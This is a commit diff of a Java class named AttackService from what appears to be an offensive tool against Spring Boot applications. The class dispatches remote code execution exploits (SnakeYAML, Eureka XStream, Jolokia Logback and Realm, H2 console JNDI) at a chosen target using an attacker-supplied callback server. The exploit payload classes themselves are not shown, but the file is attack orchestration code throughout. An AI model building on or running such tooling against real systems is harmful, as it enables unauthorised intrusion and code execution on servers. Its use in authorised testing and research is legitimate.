11package com .drops .main ;
22
33import com .drops .entity .ControllersFactory ;
4- import com .drops .exp .EurekaXstreamRCEEXP ;
5- import com .drops .exp .JolokiaLogbackRCEEXP ;
6- import com .drops .exp .JolokiaRealmRCEEXP ;
7- import com .drops .exp .SnakeYAMLRCEEXP ;
4+ import com .drops .exp .*;
5+ import com .drops .exp .util .VersionUtil ;
86import com .drops .poc .EurekaXstreamRCEPOC ;
97import com .drops .poc .SnakeYAMLRCEPOC ;
108import com .drops .poc .SpringBootInfo ;
2624public class AttackService {
2725 String target ;
2826 String time ;
29- MainController mainController ;
30- SpringBootInfoCheck infoCheck ;
31- SpringBootInfo info = new SpringBootInfo ();
27+ MainController mainController = ( MainController ) ControllersFactory . controllers . get ( MainController . class . getSimpleName ()); ;
28+ // SpringBootInfoCheck infoCheck = new SpringBootInfoCheck() ;
29+ // SpringBootInfo info = new SpringBootInfo();
3230
3331
3432 public AttackService (String targetAddressText , String httpTimeoutText ) {
35- this .mainController = ( MainController ) ControllersFactory . controllers . get ( MainController . class . getSimpleName ());
36- this .time = httpTimeoutText ;
37- this .target = targetAddressText ;
38- this .infoCheck = new SpringBootInfoCheck ();
33+ // this.mainController =
34+ // this.time = httpTimeoutText;
35+ // this.target = targetAddressText;
36+ // this.infoCheck = new SpringBootInfoCheck();
3937 }
4038
4139 public boolean gadgetSend (String target , String vps , String gadget , String echo ){
42- boolean flag = infoCheck .isSpringbootVersionV1 ();
40+ SpringBootInfoCheck infoCheck = new SpringBootInfoCheck ();
41+ boolean flag = VersionUtil .isVersion (target );
42+ // boolean flag = true;
43+ // String type = "inje"
4344 String env = "/env" ;
4445 String env2 = "/actuator/env" ;
4546 System .out .println (target );
@@ -53,34 +54,41 @@ public boolean gadgetSend(String target, String vps, String gadget, String echo)
5354 SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
5455 return exp .sendExp (target ,vps ,echo ,flag );
5556 }else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
56- EurekaXstreamRCEEXP exp = new EurekaXstreamRCEEXP ();
57- // return exp.
57+ EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
58+ exp .hasEurekaXstreamRCE (target );
59+ return false ;
5860 }else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
5961 JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
62+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
6063
6164 }else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
6265 JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
63-
66+ return jolokiaRealmRCEEXP . hasJolokiaRealmRCE ( target , vps , echo , flag );
6467 }else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
65-
66-
68+ H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
69+ return exp . hasH2DatabaseConsoleJNDIRCE ( target , vps );
6770 }
6871
6972 }else {
7073 if (gadget .equalsIgnoreCase ("SnakeYAMLRCE" )) {
7174 SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
7275 return exp .sendExp (target ,vps ,echo ,flag );
7376 }else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
74- EurekaXstreamRCEEXP exp = new EurekaXstreamRCEEXP ();
75- // return exp.
77+ EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
78+ exp .hasEurekaXstreamRCE (target );
79+ return false ;
7680 }else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
7781 JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
82+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
7883
7984 }else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
8085 JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
86+ return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,echo ,flag );
8187
82- }else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
8388
89+ }else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
90+ H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
91+ return exp .hasH2DatabaseConsoleJNDIRCE (target , vps );
8492
8593 }
8694 }
0 commit comments